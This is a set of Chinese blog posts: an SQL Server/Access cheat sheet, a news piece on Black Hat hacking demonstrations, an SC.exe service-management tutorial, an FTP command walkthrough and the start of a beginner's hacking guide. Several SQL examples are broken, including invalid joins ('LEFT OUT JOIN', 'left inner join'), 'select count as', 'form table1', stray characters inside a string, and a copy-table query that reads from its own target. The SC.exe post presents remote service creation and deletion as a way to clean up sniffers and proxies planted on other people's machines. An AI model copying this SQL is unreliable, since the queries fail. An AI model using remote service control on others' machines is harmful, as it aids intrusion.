create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
根據已有的表創建新表:
A:create table tab_new like tab_old (使用舊表創建新表)
B:create table tab_new as select col1,col2… from tab_old definition only
5、說明:刪除新表
drop table tabname
6、說明:增加一個列
Alter table tabname add column col type
註:列增加後將不能刪除。DB2中列加上後數據類型也不能改變,唯一能改變的是增加varchar類型的長度。
7、說明:添加主鍵: Alter table tabname add primary key(col)
說明:刪除主鍵: Alter table tabname drop primary key(col)
8、說明:創建索引:create [unique] index idxname on tabname(col….)
刪除索引:drop index idxname
註:索引是不可更改的,想更改必須刪除重新建。
9、說明:創建視圖:create view viewname as select statement
刪除視圖:drop view viewname
10、說明:幾個簡單的基本的sql語句
選擇:select * from table1 where 範圍
插入:insert into table1(field1,field2) values(value1,value2)
刪除:delete from table1 where 範圍
更新:update table1 set field1=value1 where 範圍
查找:select * from table1 where field1 like 』%value1%』 ---like的語法很精妙,查資料!
排序:select * from table1 order by field1,field2 [desc]
總數:select count as totalcount from table1
求和:select sum(field1) as sumvalue from table1
平均:select avg(field1) as avgvalue from table1
最大:select max(field1) as maxvalue from table1
最小:select min(field1) as minvalue from table1
11、說明:幾個高級查詢運算詞
A: UNION 運算符
UNION 運算符通過組合其他兩個結果表(例如 TABLE1 和 TABLE2)並消去表中任何重複行而派生出一個結果表。當 ALL 隨 UNION 一起使用時(即 UNION ALL),不消除重複行。兩種情況下,派生表的每一行不是來自 TABLE1 就是來自 TABLE2。
B: EXCEPT 運算符
EXCEPT 運算符通過包括所有在 TABLE1 中但不在 TABLE2 中的行並消除所有重複行而派生出一個結果表。當 ALL 隨 EXCEPT 一起使用時 (EXCEPT ALL),不消除重複行。
C: INTERSECT 運算符
INTERSECT 運算符通過只包括 TABLE1 和 TABLE2 中都有的行並消除所有重複行而派生出一個結果表。當 ALL 隨 INTERSECT 一起使用時 (INTERSECT ALL),不消除重複行。
註:使用運算詞的幾個查詢結果行必須是一致的。
12、說明:使用外連接
A、left outer join:
左外連接(左連接):結果集幾包括連接表的匹配行,也包括左連接表的所有行。
SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
B:right outer join:
右外連接(右連接):結果集既包括連接表的匹配連接行,也包括右連接表的所有行。
C:full outer join:
全外連接:不僅包括符號連接表的匹配行,還包括兩個連接表中的所有記錄。

二、提升

1、說明:複製表(只複製結構,源表名:a 新表名:b) (Access可用)
法一:select * into b from a where 1<>1
法二:select top 0 * into b from a

2、說明:拷貝表(拷貝數據,源表名:a 目標表名:b) (Access可用)
insert into b(a, b, c) select d,e,f from b;

3、說明:跨數據庫之間表的拷貝(具體數據使用絕對路徑) (Access可用)
insert into b(a, b, c) select d,e,f from b in 『具體數據庫』 where 條件
例子:..from b in '"&Server.MapPath(".")&"\data.mdb" &"' where..

4、說明:子查詢(表名1:a 表名2:b)
select a,b,c from a where a IN (select d from b ) 或者: select a,b,c from a where a IN (1,2,3)

5、說明:顯示文章、提交人和最後回復時間
select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b

6、說明:外連接查詢(表名1:a 表名2:b)
select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c

7、說明:在線視圖查詢(表名1:a )
select * from (SELECT a,b,c FROM a) T where t.a > 1;

8、說明:between的用法,between限制查詢數據範圍時包括了邊界值,not between不包括
select * from table1 where time between time1 and time2
select a,b,c, from table1 where a not between 數值1 and 數值2

9、說明:in 的使用方法
select * from table1 where a [not] in (『值1』,』值2』,』值4』,』值6』)

10、說明:兩張關聯表,刪除主表中已經在副表中沒有的信息
delete from table1 where not exists ( select * from table2 where table1.field1=table2.field1 )

11、說明:四表聯查問題:
select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where .....

12、說明:日程安排提前五分鐘提醒
SQL: select * from 日程安排 where datediff('minute',f開始時間,getdate())>5

13、說明:一條sql 語句搞定數據庫分頁
select top 10 b.* from (select top 20 主鍵字段,排序字段 from 表名 order by 排序字段 desc) a,表名 b where b.主鍵字段 = a.主鍵字段 order by a.排序字段

14、說明:前10條記錄
select top 10 * form table1 where 範圍

15、說明:選擇在每一組b值相同的數據中對應的a最大的記錄的所有信息(類似這樣的用法可以用於論壇每月排行榜,每月熱銷產品分析,按科目成績排名,等等.)
select a,b,c from tablename ta where a=(select max(a) from tablename tb where tb.b=ta.b)

16、說明:包括所有在 TableA 中但不在 TableB和TableC 中的行並消除所有重複行而派生出一個結果表
(select a from tableA ) except (select a from tableB) except (select a from tableC)

17、說明:隨機取出10條數據
select top 10 * from tablename order by newid()

18、說明:隨機選擇記錄
select newid()

19、說明:刪除重複記錄
Delete from tablename where id not in (select max(id) from tablename group by col1,col2,...)

20、說明:列出數據庫裡所有的表名
select name from sysobjects where type='U'

21、說明:列出表裡的所有的
select name from syscolumns where id=object_id('TableName')

22、說明:列示type、vender、pcs字段,以type字段排列,case可以方便地實現多重選擇,類似select 中的case。
select type,sum(case vender when 'A' then pcs else 0 end),sum(case vender when 'C' then pcs else 0 end),sum(case vender when 'B' then pcs else 0 end) FROM tablename group by type
顯示結果:
type vender pcs
電腦 A 1
電腦 A 1
光盤 B 2
光盤 A 2
手機 B 3
手機 C 3

23、說明:初始化表table1

TRUNCATE TABLE table1

24、說明:選擇從10到15的記錄
select top 5 * from (select top 15 * from table order by id asc) table_別名 order by id desc

三、技巧

1、1=1,1=2的使用,在SQL語句組合時用的較多

「where 1=1」 是表示選擇全部 「where 1=2」全部不選,
如:
if @strWhere !=''
begin
set @strSQL = 'select count(*) as Total from [' + @tblName + '] where ' + @strWhere
end
else
begin
set @strSQL = 'select count(*) as Total from [' + @tblName + ']'
end

我們可以直接寫成
set @strSQL = 'select count(*) as Total from [' + @tblName + '] where 1=1 安定 '+ @strWhere

2、收縮數據庫
--重建索引
DBCC REINDEX
DBCC INDEXDEFRAG
--收縮數據和日誌
DBCC SHRINKDB
DBCC SHRINKFILE

3、壓縮數據庫
dbcc shrinkdatabase(dbname)

4、轉移數據庫給新用戶以已存在用戶權限
exec sp_change_users_login 'update_one','newname','oldname'
go

5、檢查備份集
RESTORE VERIFYONLY from disk='E:\dvbbs.bak'

6、修復數據庫
ALTER DATABASE [dvbbs] SET SINGLE_USER
GO
DBCC CHECKDB('dvbbs',repair_allow_data_loss) WITH TABLOCK
GO
ALTER DATABASE [dvbbs] SET MULTI_USER
GO

7、日誌清除
SET NOCOUNT ON
DECLARE @LogicalFileName sysname,
@MaxMinutes INT,
@NewSize INT


USE tablename -- 要操作的數據庫名
SELECT @LogicalFileName = 'tablename_log', -- 日誌文件名
@MaxMinutes = 10, -- Limit on time allowed to wrap log.
@NewSize = 1 -- 你想設定的日誌文件的大小(M)

-- Setup / initialize
DECLARE @OriginalSize int
SELECT @OriginalSize = size
FROM sysfiles
WHERE name = @LogicalFileName
SELECT 'Original Size of ' + db_name() + ' LOG is ' +
CONVERT(VARCHAR(30),@OriginalSize) + ' 8K pages or ' +
CONVERT(VARCHAR(30),(@OriginalSize*8/1024)) + 'MB'
FROM sysfiles
WHERE name = @LogicalFileName
CREATE TABLE DummyTrans
(DummyColumn char (8000) not null)


DECLARE @Counter INT,
@StartTime DATETIME,
@TruncLog VARCHAR(255)
SELECT @StartTime = GETDATE(),
@TruncLog = 'BACKUP LOG ' + db_name() + ' WITH TRUNCATE_ONLY'

DBCC SHRINKFILE (@LogicalFileName, @NewSize)
EXEC (@TruncLog)
-- Wrap the log if necessary.
WHILE @MaxMinutes > DATEDIFF (mi, @StartTime, GETDATE()) -- time has not expired
AND @OriginalSize = (SELECT size FROM sysfiles WHERE name = @LogicalFileName)
AND (@OriginalSize * 8 /1024) > @NewSize
BEGIN -- Outer loop.
SELECT @Counter = 0
WHILE ((@Counter < @OriginalSize / 16) AND (@Counter < 50000))
BEGIN -- update
INSERT DummyTrans VALUES ('Fill Log')
DELETE DummyTrans
SELECT @Counter = @Counter + 1
END
EXEC (@TruncLog)
END
SELECT 'Final Size of ' + db_name() + ' LOG is ' +
CONVERT(VARCHAR(30),size) + ' 8K pages or ' +
CONVERT(VARCHAR(30),(size*8/1024)) + 'MB'
FROM sysfiles
WHERE name = @LogicalFileName
DROP TABLE DummyTrans
SET NOCOUNT OFF

8、說明:更改某個表
exec sp_changeobjectowner 'tablename','dbo'

9、存儲更改全部表

CREATE PROCEDURE dbo.User_ChangeObjectOwnerBatch
@OldOwner as NVARCHAR(128),
@NewOwner as NVARCHAR(128)
AS

DECLARE @Name as NVARCHAR(128)
DECLARE @Owner as NVARCHAR(128)
DECLARE @OwnerName as NVARCHAR(128)

DECLARE curObject CURSOR FOR
select 'Name' = name,
'Owner' = user_name(uid)
from sysobjects
where user_name(uid)=@OldOwner
order by name

OPEN curObject
FETCH NEXT FROM curObject INTO @Name, @Owner
WHILE(@@FETCH_STATUS=0)
BEGIN
if @Owner=@OldOwner
begin
set @OwnerName = @OldOwner + '.' + rtrim(@Name)
exec sp_changeobjectowner @OwnerName, @NewOwner
end
-- select @name,@NewOwner,@OldOwner

FETCH NEXT FROM curObject INTO @Name, @Owner
END

close curObject
deallocate curObject
GO


10、SQL SERVER中直接循環寫入數據
declare @i int
set @i=1
while @i<30
begin
insert into test (userid) values(@i)
set @i=@i+1
end

小記存儲過程中經常用到的本周,本月,本年函數
Dateadd(wk,datediff(wk,0,getdate()),-1)
Dateadd(wk,datediff(wk,0,getdate()),6)

Dateadd(mm,datediff(mm,0,getdate()),0)
Dateadd(ms,-3,dateadd(mm,datediff(m,0,getdate())+1,0))

Dateadd(yy,datediff(yy,0,getdate()),0)
Dateadd(ms,-3,DATEADD(yy, DATEDIFF(yy,0,getdate())+1, 0))

上面的SQL代碼只是一個時間段
Dateadd(wk,datediff(wk,0,getdate()),-1)
Dateadd(wk,datediff(wk,0,getdate()),6)
就是表示本周時間段.
下面的SQL的條件部分,就是查詢時間段在本周範圍內的:
Where Time BETWEEN Dateadd(wk,datediff(wk,0,getdate()),-1) AND Dateadd(wk,datediff(wk,0,getdate()),6)
而在存儲過程中
select @begintime = Dateadd(wk,datediff(wk,0,getdate()),-1)
select @endtime = Dateadd(wk,datediff(wk,0,getdate()),6)

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

在8月1日~8月4日美國拉斯韋加斯召開的全美黑帽安全大會(Blackcap)上,電腦黑客們用行動證明:沒有攻不破的山頭。

  「看看那些無知的消費者,為一個所謂的新技術就能夠那麼興奮,然後欣然地為之買單。」但是,在約翰·埃克和他的同行的眼裡,那些都是「小菜一碟」。約翰·埃克平常的身份是美國加利福尼亞州蒙特裡海軍研究生學校的一名學生,而在這次全美黑帽安全大會上,他是一位剛剛入行的優秀黑客。

  全美黑帽安全大會一貫以披露軟件中的安全缺陷和共享黑客工具為主要議題。在黑客們的心目中,一年一度的大會是同行們切磋技藝的節日,來自世界各地的電腦高手紛紛奉獻自己的發現,並從中獲得樂趣。

  對於電腦軟件廠商們來說,這個節日卻是他們的「世界末日」,總有許多知名軟件或者程序被黑客們認定為「不安全的」。今年也不例外。

  無線網絡有漏洞

  在某互聯網公司任安全系統工程師的大衛·馬伊諾是約翰·埃克的好朋友,也是「好夥伴」。8月3日,兩人在黑帽安全大會上做了利用無線網漏洞入侵計算機的演示。演示證明,他們發現了一種利用無線系統設備驅動程序中的漏洞來獲取筆記本電腦控制權的方法。即使電腦沒有連在網絡上,上網密碼、銀行賬戶的詳細資料和其他敏感信息也可能被盜走。

  他們使用的是一個名為「LORCON」(多點連接)的黑客工具軟件,其方法是將超大量的無線信息包發送到不同的無線網卡上,並僅用了大約1分鐘的時間就完全控制了蘋果(美國著名電腦製造商)的MacBook電腦,這種電腦安裝有被認為安全性能更好的蘋果操作系統。馬伊諾說,裝有Windows和Linux操作系統的電腦同樣難以倖免。

  馬伊諾能夠在這台電腦上創建、讀取和刪除文件。更可怕的是,當筆記本電腦斷開網絡連接以後,馬伊諾還可以做同樣的事情。

  另外,馬伊諾說,這種信息包是一個幾乎無法被發現的程序,犯罪分子可用它盜取登錄密碼,獲取敏感信息。

  馬伊諾表示,設備驅動程序破解是一項技術難題,但這項領域已變得越來越吸引人,因為困難程度正在逐步降低。「這要部分歸功於新的工具軟件,比如知名的像腳本工具軟件等,它使得黑客所需要的專業知識更少,而實現目的也更容易。」

  互聯網2.0時代更便於黑客「發揮」

  互聯網在經過多年發展之後,現在被認為正在進入Web2.0時代,網站更具互動性是Web2.0的主要特色,使用者可以像佈置自己的電腦桌面一樣佈置經常瀏覽的網站。Ajax技術是實現這些新應用的重要技術之一。在使用者和服務器之間引入的Ajax引擎,能帶給網絡使用者更多的自由空間,並能提高訪問速度。

  但是,在美國黑客霍夫曼看來,Ajax技術的「功能」不只是把網頁變得更互動而已,它也提供黑客整垮Web服務器、攻擊使用者的渠道。

  8月4日,霍夫曼在黑帽安全大會上播放了自己通過Ajax技術實現攻擊計算機的視頻錄像。他說:「傳統網站好比一幢沒有窗子、只有一扇門的房子,而Ajax網站則是一個有數不清窗子和旋轉門的房子,儘管你在前後大門上加了最安全的鎖,但我還是可以從窗口鑽進去。」

  「以這種新技術開發的網站可攻擊面積更大,因為它和瀏覽器有更多互動,而且可以在用戶端PC上執行javascript。」霍夫曼笑稱。javascript是常見的描述性語言。

  Ajax也增加了跨網站指令碼(Cross-SiteScripting)的可能性,如果網站源代碼撰寫不留意就可能發生。專家指出,攻擊者可以利用這項弱點盜取使用者賬號、詐騙私人信息,或甚至把惡意源代碼下載到使用者電腦中。一些知名公司像微軟、eBay、雅虎與Google等網站都曾出現跨網站指令碼的漏洞。

  波蘭女黑客當眾羞辱微軟

  為了擺脫安全漏洞帶來的困擾,全球最大的軟件生產商美國微軟公司出人意料地出現在今年的黑帽安全大會上,並於8月 2 日發佈了一個Vista (下一代Windows操作系統)的測試版本,邀請安全界專家為其查找漏洞。

  但是,結果證明,微軟是在自取其辱。

  僅僅兩天以後,也就是8月4日,來自波蘭的女黑客喬安娜·魯特克絲卡就當眾演示了如何利用Vista漏洞攻擊目標系統。

  喬安娜通過演示證實,具有系統管理員權限的攻擊者可以禁用系統的簽名認證功能,從而允許用戶系統加載未簽名的設備驅動程序和軟件。「如果我加入一些惡意程序的話,這個系統就……」喬安娜神秘地一笑。

  微軟在Windows中採用了數字簽名機制,使用戶可以瞭解哪些驅動同特定版本的Windows兼容。眾所周知,由於驅動程序一般應用於操作系統底層,因此可以對系統構成致命危險。

  黑客拉博客做「幫兇」

  「你正在閱讀的博客也是個不錯的工具。」黑客鮑勃在黑帽大會上正式宣佈這個最令廣大互聯網用戶震驚的消息。通過廣受歡迎的RSS或Atom等工具來閱讀博客(Blog)文章的行為可能會使計算機用戶受到攻擊。

  RSS和Atom都是一個網站用來和其他網站之間共享內容的工具,通常被用於新聞和其他按順序排列的網站,例如博客。用戶需要下載和安裝一個支持RSS和Atom的聚合工具軟件,然後從網站提供的聚合新聞目錄列表中訂閱您感興趣的新聞欄目的內容。訂閱後,用戶將會及時獲得所訂閱新聞頻道的最新內容,並在不打開網站內容頁面的情況下閱讀支持RSS和Atom輸出的網站內容。

  8月3日,鮑勃一邊喝茶一邊在黑帽安全大會上現場演示了這種攻擊的全過程。他通過在RSS或Atom等工具傳輸給用戶的內容中插入惡意javascript代碼,而這些javascript代碼常常能夠在用戶的PC上運行,這意味著用戶的PC可能遭受攻擊。

  鮑勃通過多個方式實現這種攻擊。他可以通過建立惡意博客,並引誘用戶訂閱該RSS或Atom等工具而利用這一問題興風作浪。他也可以通過在其他人的博客的評論上添加惡意javascript代碼來實現攻擊。



Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

寫這個東西的目的在於讓大家瞭解一下SC這個服務管理程序的使用,另一方面也是為了讓大家更進一步的瞭解到NT,2000的服務的一些基礎問題,如果有時間,希望大家好好看看。再來結合起上一次如何打開termservice服務的那篇文章,在服務方面大家應該比較瞭解了。用這個東西就可以刪除在別人機器裡留下的如ffsniffer, sksockerver這些東西,不用再擔心,裝上了刪除不了。但是畢竟這個東西還是MS的產品,所以,如eventlog這樣的服務,是不可以用它關閉的。累呀累呀,寫了我整整一個早上,就是不知道有沒有人看!

我們知道在MStools SDK,也就是在Resource Kit有一個很少有人知道的命令行軟件,SC.exe,這個軟件向所有的

Windows NT和Windows 2000要求控制他們的API函數。我們可以在命令行裡通過對這些函數設定參數的方式來設定

他們(API)。SC.exe也可以顯示服務的狀態,同時也可以從狀態結構區域裡重新找到存儲在裡面的數值。它還可以

列出遠程計算機的服務函數或者是服務狀況結構。
SC.exe這個開發工具至少可以比服務控制面板程序和網絡命令行界面(net.exe,這個東西可以告訴你一個服務是

在運行中,還是停止,還是暫停。)這兩個東西提供更多的細節和準確的信息。雖然上述兩個東西在正常工作的

情況下,對於完整的調試是非常好用的,但是如果有新的服務,或者新的代碼被開發出來的時候,這兩個工具提

供的信息可能造成誤導。這也就是我們需要用到SC的原因。
下面舉列說明,如果在開發階段,你的服務在掛住在一個start-pending的時候,控制面板和net.exe同樣報告服

務是在運行的。但它掛在一個stop-pending的時候,net.exe報告它運行,而控制面板著報告它停止,如果你試著

啟動它,這是控制面板則會告訴你這個服務正在運行。難道這不是很困惑嗎?呵呵!
SC.exe可以讓你詢問服務的狀況和取出存儲在狀態結構區域內的數值,控制面板和net.exe不提供服務完整的狀況

。但是無論如何,SC程序可以告訴你這個服務準確的情形,同樣也可以給你看最後的checkpoint數和等待提示。

這個checkpoint,我叫它檢查點(我覺得他就像一個程序調試時置的斷點),所以我們也可以把看作為一個調試工

具,因為它可以提供一個關於在程序停止時還要沿著初始化繼續前進多久準確報告。
SC.exe也可以允許你調用很多的服務控制API函數,可以讓你從命令行裡改變大量的參數。這位服務開發者們提供

了很多的優勢。例如,它提供了一個方便的方式來創建或者在註冊表和服務控制管理數據庫中配置服務信息。開

發者們不需要在手動的在註冊表裡單獨的設置鍵值來配置服務,也不用重起機器來強迫服務控制管理數據庫升級


作為一個命令很工具,SC.exe可以用來測試你自己的系統,你可以設置一個批處理文件來使用不同的參數調用

SC.exe來控制服務。這個很有用,如果你想看看你的服務不斷的啟動和停止,我沒有試過哦!讓一個服務一下子

打開,一下子關閉,聽上去很不錯的。如果你的服務進程裡面有多個進程的話,你可以保持一個進程繼續運行不

讓它走開,然後讓另一個不斷的打開在關閉,還可以尋找一下內存缺乏導致不完全清楚的證據。
下面介紹SC,SC QC,and SC QUERY

SC使用這樣的語法:
1. SC [Servername] command Servicename [Optionname= Optionvalue]

2. SC [command]

這裡使用第一種語法使用SC,使用第二種語法顯示幫助。

下面介紹各種參數。

Servername
可選擇:可以使用雙斜線,如\\myserver,也可以是\\192.168.0.1來操作遠程計算機。如果在本地計算機上操作

就不用添加任何參數。

Command
下面列出SC可以使用的命令。

config----改變一個服務的配置。(長久的)

continue--對一個服務送出一個繼續控制的要求。

control----對一個服務送出一個控制。

create----創建一個服務。(增加到註冊表中)

delete----刪除一個服務。(從註冊表中刪除)

EnumDepend--列舉服務的從屬關係。

GetDisplayName--獲得一個服務的顯示名稱。

GetKeyName--獲得一個服務的服務鍵名。

interrogate--對一個服務送出一個詢問控制要求。

pause----對一個服務送出一個暫停控制要求。

qc----詢問一個服務的配置。

query----詢問一個服務的狀態,也可以列舉服務的狀態類型。

start----啟動一個服務。

stop----對一個服務送出一個停止的要求。

Servicename
在註冊表中為service key制定的名稱。注意這個名稱是不同於顯示名稱的(這個名稱可以用net start和服務控

製麵板看到),而SC是使用服務鍵名來鑒別服務的。

Optionname
這個optionname和optionvalue參數允許你指定操作命令參數的名稱和數值。注意,這一點很重要在操作名稱和等

號之間是沒有空格的。一開始我不知道,結果………………,比如,start= optionvalue,這個很重要。

optionvalue可以是0,1,或者是更多的操作參數名稱和數值對。
如果你想要看每個命令的可以用的optionvalue,你可以使用sc command這樣的格式。這會為你提供詳細的幫助。

Optionvalue
為optionname的參數的名稱指定它的數值。有效數值範圍常常限制於哪一個參數的optionname。如果要列表請用

sc command來詢問每個命令。

Comments
很多的命令需要管理員權限,所以我想說,在你操作這些東西的時候最好是管理員。呵呵!

當你鍵入SC而不帶任何參數時,SC.exe會顯示幫助信息和可用的命令。當你鍵入SC緊跟著命令名稱時,你可以得

到一個有關這個命令的詳細列表。比如,鍵入sc create可以得到和create有關的列表。
但是除了一個命令,sc query,這會導出該系統中當前正在運行的所有服務和驅動程序的狀態。

當你使用start命令時,你可以傳遞一些參數(arguments)給服務的主函數,但是不是給服務進程的主函數。

SC create
這個命令可以在註冊表和服務控制管理數據庫建立一個入口。

語法1
sc [servername] create Servicename [Optionname= Optionvalue]

這裡的servername,servicename,optionname,optionvalue和上面的一樣,這裡就不多說了。這裡我們詳細說

明一下optionname和optionvalue。

Optionname--Optionvalue
描述

type=----own, share, interact, kernel, filesys
關於建立服務的類型,選項值包括驅動程序使用的類型,默認是share。

start=----boot, system, auto, demand, disabled
關於啟動服務的類型,選項值包括驅動程序使用的類型,默認是demand(手動)。

error=----normal, severe, critical, ignore
當服務在導入失敗錯誤的嚴重性,默認是normal。

binPath=--(string)
服務二進制文件的路徑名,這裡沒有默認值,這個字符串是必須設置的。

group=----(string)
這個服務屬於的組,這個組的列表保存在註冊表中的ServiceGroupOrder下。默認是nothing。

tag=----(string)
如果這個字符串被設置為yes,sc可以從CreateService call中得到一個tagId。然而,SC並不顯示這個標籤,所

以使用這個沒有多少意義。默認是nothing

depend=----(space separated string)有空格的字符串。
在這個服務啟動前必須啟動的服務的名稱或者是組。

obj=----(string)
賬號運行使用的名稱,也可以說是登陸身份。默認是localsystem

Displayname=--(string)
一個為在用戶界面程序中鑒別各個服務使用的字符串。

password=--(string)
一個密碼,如果一個不同於localsystem的賬號使用時需要使用這個。

Optionvalue
Optionname參數名稱的數值列表。參考optionname。當我們輸入一個字符串時,如果輸入一個空的引用這意味著

一個空的字符串將被導入。

Comments
The SC CREATE command performs the operations of the CreateService API function.
這個sc create命令執行CreateService API函數的操作。詳細請見CreateService。

例1
下面這個例子在一台叫做(\\myserver)的計算機上為一個叫「NewService」的服務建立的一個註冊表登記。
sc \\myserver create NewService binpath= c:\winnt\system32\NewServ.exe

按照默認,這個服務會建立一個WIN32_SHARE_PROCESS使用SERVICE_DEMAND_START啟動方式。這將不會有任何從屬

關係,也將會按照localsystem安全上下關係來運行。

例2
下面這個例子將在本地計算機上,建立一個服務,它將會是一個自動運行服務,並且運行在他自己的進程上。它

從屬於TDI組和NetBios服務上。注意,你必須在從屬中間增加一個空格的引用。

sc create NewService binpath= c:\winnt\system32\NewServ.exe type= own
start= auto depend= "+TDI Netbios"

例3
服務開發者可以通過臨時改變二進制路徑(影像路徑)的方式來將這個服務運行在內核調試器的上下關係中。下

面這個例子就可以讓我們看到如何改變服務的配置。

sc config NewService binpath= "ntsd -d c:\winnt\system32\Newserv.exe"
這個例子會引起服務控制管理器調用ntsd.exe使用下例的參數字符串:
"-d c:\nt\system32\NewServ.exe"

當系統裝入newserv.exe時ntsd將會轉而打斷調試器,所以斷點可以被設置在服務代碼裡。

SC QC
這個SC QC「詢問配置」命令可以列出一個服務的配置信息和QUERY_SERVICE_CONFIG結構。

語法1
sc [Servername] qc Servicename [Buffersize]

Parameters
servername和servicename前面已經介紹過了,這裡不再多說。

Buffersize,可選擇的,列出緩衝區的尺寸。

Comments

SC QC命令顯示了QUERY_SERVICE_CONFIG結構的內容。

以下是QUERY_SERVICE_CONFIG相應的區域。
TYPE------dwServiceType
START_TYPE----dwStartType
ERROR_CONTROL----dwErrorControl
BINARY_PATH_NAME--lpBinaryPathName
LOAD_ORDER_GROUP--lpLoadOrderGroup
TAG------dwTagId
DISPLAY_NAME----lpDisplayName
DEPENDENCIES----lpDependencies
SERVICE_START_NAME--lpServiceStartName

例1

下面這個例子詢問了在上面例子中建立的「NewService」服務的配置:

sc \\myserver qc NewService

sc顯示下面的信息:

SERVICE_NAME: NewService
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : c:\winnt\system32\NewServ.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : NewService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

NewService有能力和其他的服務共享一個進程。但是它不是自動啟動的。二進制文件名是NewServ.exe。這個服務

不依靠與其它的的服務,而且運行在lcoalsystem的安全上下關係中。這些都是調用QueryServiceStatus基本的返

回,如果還需要更多的細節屆時,可以看看API函數文件。

SC QUERY

SC QUERY命令可以獲得服務的信息。

語法:
sc [Servername] query { Servicename | Optionname= Optionvalue... }

參數:

servername, servicename, optionname, optionvalue不在解釋。只談一下這個命令提供的數值。

Optionname--Optionvalue
Description

type=----driver, service, all
列舉服務的類型,默認是service

state=----active, inactive, all
列舉服務的狀態,默認是active

bufsize=--(numeric value)
列舉緩衝區的尺寸,默認是1024 bytes

ri=----(numeric value)
但開始列舉時,恢復指針的數字,默認是0

Optionvalue
同上。

Comments

SC QUERY命令可以顯示SERVICE_STATUS結構的內容。

下面是SERVICE_STATUS結構相應的信息:
TYPE------dwServiceType
STATE------dwCurrentState, dwControlsAccepted
WIN32_EXIT_CODE----dwWin32ExitCode
SERVICE_EXIT_CODE--dwServiceSpecificExitCode
CHECKPOINT----dwCheckPoint
WAIT_HINT----dwWaitHint

在啟動計算機後,使用SC QUERY命令會告訴你是否,或者不是一個啟動服務的嘗試。如果這個服務成功啟動,WIN32_EXIT_CODE區間會將會包含一個0,當嘗試不成功時,當它意識到這個服務不能夠啟動時,這個區間也會提供一個退出碼給服務。

例子

查詢「NewService"服務狀態,鍵入:

sc query NewService

顯示一下信息:

SERVICE_NAME: NewService
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 1 STOPPED
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

注意,這裡存在一個給這個服務的退出碼,即使這個服務部不在運行,鍵入net helpmsg 1077,將會得到對1077錯誤信息的說明:

上次啟動之後,仍未嘗試引導服務。

所以,這裡我想說一句,希望大家可以活用net helpmsg,這會對你的學習有很大的幫助。

下面在對SC query的命令在說明一下:

列舉活動服務和驅動程序狀態,使用以下命令:
sc query

顯示messenger服務,使用以下命令:
sc query messenger

只列舉活動的驅動程序,使用以下命令:
sc query type= driver

列舉Win32服務,使用以下命令:
sc query type= service

列舉所有的服務和驅動程序,使用以下命令:
sc query state= all

用50 byte的緩衝區來進行列舉,使用以下命令:
sc query bufsize= 50

在恢復列舉時使用index=14,使用以下命令:
sc query ri=14

列舉所有的交互式服務,使用以下命令:
sc query type= service type= interact

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

先假設有一FTP服務器,FTP服務器:qint.ithot.net,用戶名:username 密碼:user1234。在本地電腦D:盤創建一個文件夾"qint"。將要上傳的文件複製到d:\qint裡。通過FTP命令將文件從本地上傳,從服務器下載的步驟如下:

1.「開始」-「運行」-輸入「FTP」

2.open qint.ithot.net
/*這一步可以與第一步合併,在「運行」裡直接輸入"ftp qint.ithot.net"。如果你的FTP服務器不是用的21默認端口,假如端口是2121,那麼此步的命令應在後面空格加2121,即「open qint.ithot.net 2121」*/

3.username
/*提示你輸入用戶名*/

4.user1234
/*提示你輸入密碼,密碼不回顯,打完密碼後回車即可。如果你的密碼輸入錯誤,將不會提示你重新輸入,這時你要鍵入「user」命令,將會出現第三步,你可以重新輸入用戶名和密碼。*/

5.dir
/*你成功登陸後就可以用dir查看命令查看FTP服務器中的文件及目錄,用ls命令只可以查看文件。*/

6.mkdir qint
/*在FTP服務器上根目錄下建立qint目錄。*/

7.cd qint
/*進入目錄qint,用「cd 你的目錄名」可以進入當前目錄的下一級目錄,這跟DOS一樣。*/

8.bin
/*採用二進制傳輸。如果你要上傳下載,這一步很重要,不先執行這個命令,上傳下載會很慢。*/

9.lcd d:\qint
/*定位本地默認文件夾,在前面我事先在D:盤創建的。*/

10.!dir
/*查看本地文件夾中的文件及目錄*/

11.put i001.jpg
/*將當前目錄(d:\qint)中的文件i001.jpg上傳到FTP服務器默認目錄。可以用"mput *.*"將所有文件上傳到FTP服務器上。*/

12.get d123.jpg
/*將FTP服務器默認目錄中的文件d123.jpg下載到當前目錄下(d:\qint)。可以用"mget *.*"將所有文件下載到d:\qint*/

13.delete *.*
/*刪除目錄qint中的所有文件。*/

14.cd ..
/*返回至上一級目錄,即根目錄。返回上一級目錄用「cd ..」要注意,中間有空格。返回根目錄用「cd \」。*/

15.rmdir qint
/*刪除目錄qint。刪除目錄,在此目錄下不能有文件及目錄,不然將無法刪除。*/

16.bye
/*退出FTP服務器*/

上傳下載時特別要注意服務器及本地電腦的當前目錄,文件是從哪裡到哪裡的問題。查看FTP服務器的當前目錄命令為pwd,可以用cd命令定位服務器的目錄。可以用lcd命令定位本地電腦的目錄。以上實例應用到了採用FTP命令行方式上傳下載的最常用命令,你還可以用命令「?」查看更多的命令。

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

一 序言
  看到不少剛入門的菜鳥找不到適合自己的hack學習方法,到處碰壁,不但損傷信心和興趣,而且也耽誤了不少高貴的時間和金錢,做了許多無用功,到頭來毫無收穫。

  因此我總結了一下我個人的一些學習方法與心得(當然有一些方法也是網上的朋友教我的),希望能給剛入門的朋友一些參考,使其少走彎路。如果您是一隻老鳥,覺得這個教程對您毫無幫助,那麼請您跳過此教程,畢竟不是所有人都像您一樣掌握了良好的學習方法,那些迷惑中的菜鳥,正需要這樣一個教程!

